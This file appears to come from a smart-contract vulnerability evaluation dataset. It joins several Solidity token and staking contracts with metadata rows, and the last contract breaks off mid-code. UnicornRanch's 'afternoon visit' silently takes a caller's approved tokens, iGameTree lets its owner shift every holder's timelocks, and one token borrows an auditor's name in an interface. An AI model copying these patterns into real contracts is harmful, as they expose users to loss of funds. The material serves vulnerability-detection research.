return true;
}
function requestPrint(address _receiver, uint256 _value) public returns (bytes32 lockId) {
require(_receiver != address(0));
lockId = generateLockId();
pendingPrintMap[lockId] = PendingPrint({
receiver: _receiver,
value: _value
});
emit PrintingLocked(lockId, _receiver, _value);
}
function confirmPrint(bytes32 _lockId) public onlyCustodian {
PendingPrint storage print = pendingPrintMap[_lockId];
// reject null results from the map lookup
// this can only be the case if an unknown `_lockId` is received
address receiver = print.receiver;
require (receiver != address(0));
uint256 value = print.value;
delete pendingPrintMap[_lockId];
uint256 supply = erc20Store.totalSupply();
uint256 newSupply = supply + value;
if (newSupply >= supply) {
erc20Store.setTotalSupply(newSupply);
erc20Store.addBalance(receiver, value);
emit PrintingConfirmed(_lockId, receiver, value);
erc20Proxy.emitTransfer(address(0), receiver, value);
}
}
function burn(uint256 _value) public returns (bool success) {
uint256 balanceOfSender = erc20Store.balances(msg.sender);
require(_value <= balanceOfSender);
erc20Store.setBalance(msg.sender, balanceOfSender - _value);
erc20Store.setTotalSupply(erc20Store.totalSupply() - _value);
erc20Proxy.emitTransfer(msg.sender, address(0), _value);
return true;
}
function batchTransfer(address[] _tos, uint256[] _values) public returns (bool success) {
require(_tos.length == _values.length);
uint256 numTransfers = _tos.length;
uint256 senderBalance = erc20Store.balances(msg.sender);
for (uint256 i = 0; i < numTransfers; i++) {
address to = _tos[i];
require(to != address(0));
uint256 v = _values[i];
require(senderBalance >= v);
if (msg.sender != to) {
senderBalance -= v;
erc20Store.addBalance(to, v);
}
erc20Proxy.emitTransfer(msg.sender, to, v);
}
erc20Store.setBalance(msg.sender, senderBalance);
return true;
}
function enableSweep(uint8[] _vs, bytes32[] _rs, bytes32[] _ss, address _to) public onlySweeper {
require(_to != address(0));
require((_vs.length == _rs.length) && (_vs.length == _ss.length));
uint256 numSignatures = _vs.length;
uint256 sweptBalance = 0;
for (uint256 i=0; i<numSignatures; ++i) {
address from = ecrecover(sweepMsg, _vs[i], _rs[i], _ss[i]);
// ecrecover returns 0 on malformed input
if (from != address(0)) {
sweptSet[from] = true;
uint256 fromBalance = erc20Store.balances(from);
if (fromBalance > 0) {
sweptBalance += fromBalance;
erc20Store.setBalance(from, 0);
erc20Proxy.emitTransfer(from, _to, fromBalance);
}
}
}
if (sweptBalance > 0) {
erc20Store.addBalance(_to, sweptBalance);
}
}
function replaySweep(address[] _froms, address _to) public onlySweeper {
require(_to != address(0));
uint256 lenFroms = _froms.length;
uint256 sweptBalance = 0;
for (uint256 i=0; i<lenFroms; ++i) {
address from = _froms[i];
if (sweptSet[from]) {
uint256 fromBalance = erc20Store.balances(from);
if (fromBalance > 0) {
sweptBalance += fromBalance;
erc20Store.setBalance(from, 0);
erc20Proxy.emitTransfer(from, _to, fromBalance);
}
}
}
if (sweptBalance > 0) {
erc20Store.addBalance(_to, sweptBalance);
}
}
function transferFromWithSender(address _sender,
address _from,
address _to,
uint256 _value)
public
onlyProxy
returns (bool success)
{
require(_to != address(0)); // ensure burn is the cannonical transfer to 0x0
uint256 balanceOfFrom = erc20Store.balances(_from);
require(_value <= balanceOfFrom);
uint256 senderAllowance = erc20Store.allowed(_from, _sender);
require(_value <= senderAllowance);
erc20Store.setBalance(_from, balanceOfFrom - _value);
erc20Store.addBalance(_to, _value);
erc20Store.setAllowance(_from, _sender, senderAllowance - _value);
erc20Proxy.emitTransfer(_from, _to, _value);
return true;
}
function transferWithSender(address _sender,
address _to,
uint256 _value)
public
onlyProxy
returns (bool success)
{
require(_to != address(0)); // ensure burn is the cannonical transfer to 0x0
uint256 balanceOfSender = erc20Store.balances(_sender);
require(_value <= balanceOfSender);
erc20Store.setBalance(_sender, balanceOfSender - _value);
erc20Store.addBalance(_to, _value);
erc20Proxy.emitTransfer(_sender, _to, _value);
return true;
}
// METHODS (ERC20 sub interface impl.)
/// @notice Core logic of the ERC20 `totalSupply` function.
function totalSupply() public view returns (uint256) {
return erc20Store.totalSupply();
}
/// @notice Core logic of the ERC20 `balanceOf` function.
function balanceOf(address _owner) public view returns (uint256 balance) {
return erc20Store.balances(_owner);
}
/// @notice Core logic of the ERC20 `allowance` function.
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return erc20Store.allowed(_owner, _spender);
}
// EVENTS
/// @dev Emitted by successful `requestPrint` calls.
event PrintingLocked(bytes32 _lockId, address _receiver, uint256 _value);
/// @dev Emitted by successful `confirmPrint` calls.
event PrintingConfirmed(bytes32 _lockId, address _receiver, uint256 _value);
}
contract ERC20Store is ERC20ImplUpgradeable {
// MEMBERS
/// @dev The total token supply.
uint256 public totalSupply;
/// @dev The mapping of balances.
mapping (address => uint256) public balances;
/// @dev The mapping of allowances.
mapping (address => mapping (address => uint256)) public allowed;
// CONSTRUCTOR
function ERC20Store(address _custodian) ERC20ImplUpgradeable(_custodian) public {
totalSupply = 0;
}
// PUBLIC FUNCTIONS
// (ERC20 Ledger)
function setTotalSupply(uint256 _newTotalSupply)
public
onlyImpl
{
totalSupply = _newTotalSupply;
}
function setAllowance(address _owner,
address _spender,
uint256 _value)
public
onlyImpl
{
allowed[_owner][_spender] = _value;
}
function setBalance(address _owner,
uint256 _newBalance)
public
onlyImpl
{
balances[_owner] = _newBalance;
}
function addBalance(address _owner,
uint256 _balanceIncrease)
public
onlyImpl
{
balances[_owner] = balances[_owner] + _balanceIncrease;
}
}
| 156,190 | 12,240 |
2c835249085c088b1c7a5ddc1b587ae647fa7872eb56b57e2281d4f418f3e692
| 13,800 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe29cb9055e04d89611c552f38364968426d50781.sol
| 3,695 | 13,570 |
pragma solidity ^0.4.24;
// Contract must have an owner
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
// SafeMath methods
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
// Standard ERC20 Token Interface
interface ERC20Token {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function decimals() external view returns (uint8 _decimals);
function totalSupply() external view returns (uint256 _totalSupply);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// the main ERC20-compliant multi-timelock enabled contract
contract iGameTree is SafeMath, Owned, ERC20Token {
string private constant standard = "0.242";
string private constant version = "v3.0x";
string private _name = "igametree";
string private _symbol = "IGT";
uint8 private _decimals = 4;
uint256 private _totalSupply = 2 * 10**8 * uint256(10)**_decimals;
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
// burn token event
event Burn(address indexed _from, uint256 _value);
// timelock-related events
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
// safety method-related events
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
// constructor for the ERC20 Token
constructor() public {
balanceP[msg.sender] = _totalSupply;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// fast-forward the timelocks for all accounts
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
// delay the timelocks for all accounts
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
// standard ERC20 name function
function name() public view returns (string) {
return _name;
}
// standard ERC20 symbol function
function symbol() public view returns (string) {
return _symbol;
}
// standard ERC20 decimals function
function decimals() public view returns (uint8) {
return _decimals;
}
// standard ERC20 totalSupply function
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
// standard ERC20 allowance function
function allowance(address _owner, address _spender) external view returns (uint256) {
return _allowance[_owner][_spender];
}
// show unlocked balance of an account
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocked balance of an account
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// standard ERC20 balanceOf with timelock added
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocks in an account
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
// show values locked in an account's timelocks
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
// Calculate and process the timelock states of an account
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
// standard ERC20 transfer
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// transfer Token with timelocks
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(add(lockNum[msg.sender], _time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
// emit custom TransferLocked event
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
// emit standard Transfer event for wallets
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
// TransferFrom Token with timelocks
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && _allowance[_from][msg.sender] >= totalValue);
require(add(lockNum[_from], _time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
// emit custom TransferLocked event
emit TransferLocked(_from, _to, _time[i], _value[i]);
// emit standard Transfer event for wallets
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
// standard ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && _allowance[_from][msg.sender] >= _value);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
// should only be called when first setting an _allowance
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// increase or decrease _allowance
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
_allowance[msg.sender][_spender] = add(_allowance[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, _allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= _allowance[msg.sender][_spender]) {
_allowance[msg.sender][_spender] = 0;
} else {
_allowance[msg.sender][_spender] = sub(_allowance[msg.sender][_spender], _value);
}
emit Approval(msg.sender, _spender, _allowance[msg.sender][_spender]);
return true;
}
// owner may burn own token
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
_totalSupply = sub(_totalSupply, _value);
emit Burn(msg.sender, _value);
return true;
}
// safety methods
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
// shouldn't happen, just in case
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
| 221,606 | 12,241 |
025e9ab396c2e5f43e3f474cacf2834da5a96e14232e1fb82ff1160b0de7fb75
| 12,467 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x97e7ef310499be2f97c392b8b16ddd494af73e22.sol
| 3,537 | 11,918 |
pragma solidity ^0.4.11;
contract ERC20Token {
function balanceOf(address _who) constant returns (uint balance);
function allowance(address _owner, address _spender) constant returns (uint remaining);
function transferFrom(address _from, address _to, uint _value);
function transfer(address _to, uint _value);
}
contract GroveAPI {
function insert(bytes32 indexName, bytes32 id, int value) public;
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract UnicornRanch {
using SafeMath for uint;
enum VisitType { Spa, Afternoon, Day, Overnight, Week, Extended }
enum VisitState { InProgress, Completed, Repossessed }
struct Visit {
uint unicornCount;
VisitType t;
uint startBlock;
uint expiresBlock;
VisitState state;
uint completedBlock;
uint completedCount;
}
struct VisitMeta {
address owner;
uint index;
}
address public cardboardUnicornTokenAddress;
address public groveAddress;
address public owner = msg.sender;
mapping (address => Visit[]) bookings;
mapping (bytes32 => VisitMeta) public bookingMetadataForKey;
mapping (uint8 => uint) public visitLength;
mapping (uint8 => uint) public visitCost;
uint public visitingUnicorns = 0;
uint public repossessionBlocks = 43200;
uint8 public repossessionBountyPerTen = 2;
uint8 public repossessionBountyPerHundred = 25;
uint public birthBlockThreshold = 43860;
uint8 public birthPerTen = 1;
uint8 public birthPerHundred = 15;
event NewBooking(address indexed _who, uint indexed _index, VisitType indexed _type, uint _unicornCount);
event BookingUpdate(address indexed _who, uint indexed _index, VisitState indexed _newState, uint _unicornCount);
event RepossessionBounty(address indexed _who, uint _unicornCount);
event DonationReceived(address indexed _who, uint _unicornCount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function UnicornRanch() {
visitLength[uint8(VisitType.Spa)] = 720;
visitLength[uint8(VisitType.Afternoon)] = 1440;
visitLength[uint8(VisitType.Day)] = 2880;
visitLength[uint8(VisitType.Overnight)] = 8640;
visitLength[uint8(VisitType.Week)] = 60480;
visitLength[uint8(VisitType.Extended)] = 120960;
visitCost[uint8(VisitType.Spa)] = 0;
visitCost[uint8(VisitType.Afternoon)] = 0;
visitCost[uint8(VisitType.Day)] = 10 szabo;
visitCost[uint8(VisitType.Overnight)] = 30 szabo;
visitCost[uint8(VisitType.Week)] = 50 szabo;
visitCost[uint8(VisitType.Extended)] = 70 szabo;
}
function getBookingCount(address _who) constant returns (uint count) {
return bookings[_who].length;
}
function getBooking(address _who, uint _index) constant returns (uint _unicornCount, VisitType _type, uint _startBlock, uint _expiresBlock, VisitState _state, uint _completedBlock, uint _completedCount) {
Visit storage v = bookings[_who][_index];
return (v.unicornCount, v.t, v.startBlock, v.expiresBlock, v.state, v.completedBlock, v.completedCount);
}
function bookSpaVisit(uint _unicornCount) payable {
return addBooking(VisitType.Spa, _unicornCount);
}
function bookAfternoonVisit(uint _unicornCount) payable {
return addBooking(VisitType.Afternoon, _unicornCount);
}
function bookDayVisit(uint _unicornCount) payable {
return addBooking(VisitType.Day, _unicornCount);
}
function bookOvernightVisit(uint _unicornCount) payable {
return addBooking(VisitType.Overnight, _unicornCount);
}
function bookWeekVisit(uint _unicornCount) payable {
return addBooking(VisitType.Week, _unicornCount);
}
function bookExtendedVisit(uint _unicornCount) payable {
return addBooking(VisitType.Extended, _unicornCount);
}
function addBooking(VisitType _type, uint _unicornCount) payable {
if (_type == VisitType.Afternoon) {
return donateUnicorns(availableBalance(msg.sender));
}
require(msg.value >= visitCost[uint8(_type)].mul(_unicornCount)); // Must be paying proper amount
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); // Transfer the actual asset
visitingUnicorns = visitingUnicorns.add(_unicornCount);
uint expiresBlock = block.number.add(visitLength[uint8(_type)]); // Calculate when this booking will be done
// Add the booking to the ledger
bookings[msg.sender].push(Visit(_unicornCount,
_type,
block.number,
expiresBlock,
VisitState.InProgress,
0,
0));
uint newIndex = bookings[msg.sender].length - 1;
bytes32 uniqueKey = keccak256(msg.sender, newIndex); // Create a unique key for this booking
// Add a reference for that key, to find the metadata about it later
bookingMetadataForKey[uniqueKey] = VisitMeta(msg.sender,
newIndex);
if (groveAddress > 0) {
// Insert into Grove index for applications to query
GroveAPI g = GroveAPI(groveAddress);
g.insert("bookingExpiration", uniqueKey, int(expiresBlock));
}
// Send event about this new booking
NewBooking(msg.sender, newIndex, _type, _unicornCount);
}
function completeBooking(uint _index) {
require(bookings[msg.sender].length > _index); // Sender must have at least this many bookings
Visit storage v = bookings[msg.sender][_index];
require(block.number >= v.expiresBlock); // Expired time must be past
require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed
uint unicornsToReturn = v.unicornCount;
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
// Determine if any births occurred
uint birthCount = 0;
if (SafeMath.sub(block.number, v.startBlock) >= birthBlockThreshold) {
if (v.unicornCount >= 100) {
birthCount = uint(birthPerHundred).mul(v.unicornCount / 100);
} else if (v.unicornCount >= 10) {
birthCount = uint(birthPerTen).mul(v.unicornCount / 10);
}
}
if (birthCount > 0) {
uint availableUnicorns = cardboardUnicorns.balanceOf(address(this)) - visitingUnicorns;
if (availableUnicorns < birthCount) {
birthCount = availableUnicorns;
}
unicornsToReturn = unicornsToReturn.add(birthCount);
}
// Update the status of the Visit
v.state = VisitState.Completed;
v.completedBlock = block.number;
v.completedCount = unicornsToReturn;
bookings[msg.sender][_index] = v;
// Transfer the asset back to the owner
visitingUnicorns = visitingUnicorns.sub(v.unicornCount);
cardboardUnicorns.transfer(msg.sender, unicornsToReturn);
// Send event about this update
BookingUpdate(msg.sender, _index, VisitState.Completed, unicornsToReturn);
}
function repossessBooking(address _who, uint _index) {
require(bookings[_who].length > _index); // Address in question must have at least this many bookings
Visit storage v = bookings[_who][_index];
require(block.number > v.expiresBlock.add(repossessionBlocks)); // Repossession time must be past
require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed
visitingUnicorns = visitingUnicorns.sub(v.unicornCount);
// Send event about this update
BookingUpdate(_who, _index, VisitState.Repossessed, v.unicornCount);
// Calculate Bounty amount
uint bountyCount = 1;
if (v.unicornCount >= 100) {
bountyCount = uint(repossessionBountyPerHundred).mul(v.unicornCount / 100);
} else if (v.unicornCount >= 10) {
bountyCount = uint(repossessionBountyPerTen).mul(v.unicornCount / 10);
}
// Send bounty to bounty hunter
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transfer(msg.sender, bountyCount);
// Send event about the bounty payout
RepossessionBounty(msg.sender, bountyCount);
// Update the status of the Visit
v.state = VisitState.Repossessed;
v.completedBlock = block.number;
v.completedCount = v.unicornCount - bountyCount;
bookings[_who][_index] = v;
}
function availableBalance(address _who) internal returns (uint) {
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
uint count = cardboardUnicorns.allowance(_who, address(this));
if (count == 0) {
return 0;
}
uint balance = cardboardUnicorns.balanceOf(_who);
if (balance < count) {
return balance;
}
return count;
}
function() payable {
if (cardboardUnicornTokenAddress == 0) {
return;
}
return donateUnicorns(availableBalance(msg.sender));
}
function donateUnicorns(uint _unicornCount) payable {
if (_unicornCount == 0) {
return;
}
ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress);
cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount);
DonationReceived(msg.sender, _unicornCount);
}
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner {
cardboardUnicornTokenAddress = _newTokenAddress;
}
function changeGroveAddress(address _newAddress) onlyOwner {
groveAddress = _newAddress;
}
function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {
visitLength[uint8(VisitType.Spa)] = _spa;
visitLength[uint8(VisitType.Afternoon)] = _afternoon;
visitLength[uint8(VisitType.Day)] = _day;
visitLength[uint8(VisitType.Overnight)] = _overnight;
visitLength[uint8(VisitType.Week)] = _week;
visitLength[uint8(VisitType.Extended)] = _extended;
}
function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {
visitCost[uint8(VisitType.Spa)] = _spa;
visitCost[uint8(VisitType.Afternoon)] = _afternoon;
visitCost[uint8(VisitType.Day)] = _day;
visitCost[uint8(VisitType.Overnight)] = _overnight;
visitCost[uint8(VisitType.Week)] = _week;
visitCost[uint8(VisitType.Extended)] = _extended;
}
function changeRepoSettings(uint _repoBlocks, uint8 _repoPerTen, uint8 _repoPerHundred) onlyOwner {
repossessionBlocks = _repoBlocks;
repossessionBountyPerTen = _repoPerTen;
repossessionBountyPerHundred = _repoPerHundred;
}
function changeBirthSettings(uint _birthBlocks, uint8 _birthPerTen, uint8 _birthPerHundred) onlyOwner {
birthBlockThreshold = _birthBlocks;
birthPerTen = _birthPerTen;
birthPerHundred = _birthPerHundred;
}
function withdraw() onlyOwner {
owner.transfer(this.balance); // Send all ether in this contract to this contract's owner
}
function withdrawForeignTokens(address _tokenContract) onlyOwner {
ERC20Token token = ERC20Token(_tokenContract);
token.transfer(owner, token.balanceOf(address(this))); // Send all owned tokens to this contract's owner
}
}
| 180,128 | 12,242 |
6ddbcd18bc24f7f2ac115804d90559efb1779c2b35c02427c787fdab713814af
| 18,832 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/86/8615908234A46481a680d2D74fcc9098073b9Db4_AvaxFloki.sol
| 4,189 | 15,801 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
